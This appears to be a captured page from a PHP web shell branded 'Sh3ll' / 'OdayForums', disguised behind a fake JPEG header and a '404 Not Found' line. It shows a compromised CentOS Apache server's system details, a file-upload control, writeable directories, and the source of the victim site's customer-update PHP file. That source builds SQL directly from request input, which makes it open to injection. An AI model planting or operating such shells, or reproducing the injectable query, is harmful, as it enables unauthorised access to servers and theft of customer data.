ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/admin.adimi/code/management/customer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/admin.adimi/code/management/customer/update_nhatky.php
<?php
$id = $CORE->input['customer_id'];
$nhatky = trim($CORE->input['nhatky']);

$nhatky_hoso = $CORE->input['nhatky_hoso'];
$nhatky_hoso = implode('@',$nhatky_hoso);

$user_post = $ob_user->user_name;
$DB->query("UPDATE tb_customer SET customer_nhatky_note='$nhatky',customer_nhatky='$nhatky_hoso', `user_update`='$user_post' ,`time_update`='".date('Y-m-d')."'  WHERE customer_id='$id' ");

$txt_nhat_ky = '';
if(!empty($CORE->input['nhatky_hoso'])) {
    $arr_nhat_ky = $CORE->input['nhatky_hoso'];
    if(!empty($arr_nhat_ky)) {
        foreach ($arr_nhat_ky as $key => $val) {
            if (isset($arr_nhatky_fix[$val]) and $arr_nhatky_fix[$val] != '') {
                $txt_nhat_ky .= '- ' . $arr_nhatky_fix[$val] . '<br/>';
            }
            if ($val == 'e') {
                $txt_nhat_ky .= ' : ' . $arr_nhat_ky[count($arr_nhat_ky) - 1];
            }
        }
    }
}

echo '<nobr>
        <b>'.$txt_nhat_ky.'</b>
        '.$func->ope_max(strip_tags(html_entity_decode($nhatky)),50).'
        <a data-toggle="modal" data-target=".bd-example-modal-lg-'.$id.'" href="javascript:void(0);"><i class="fas fa-edit"></i> Edit</a>
        </nobr>';
exit();

?>

ZeroDay Forums Mini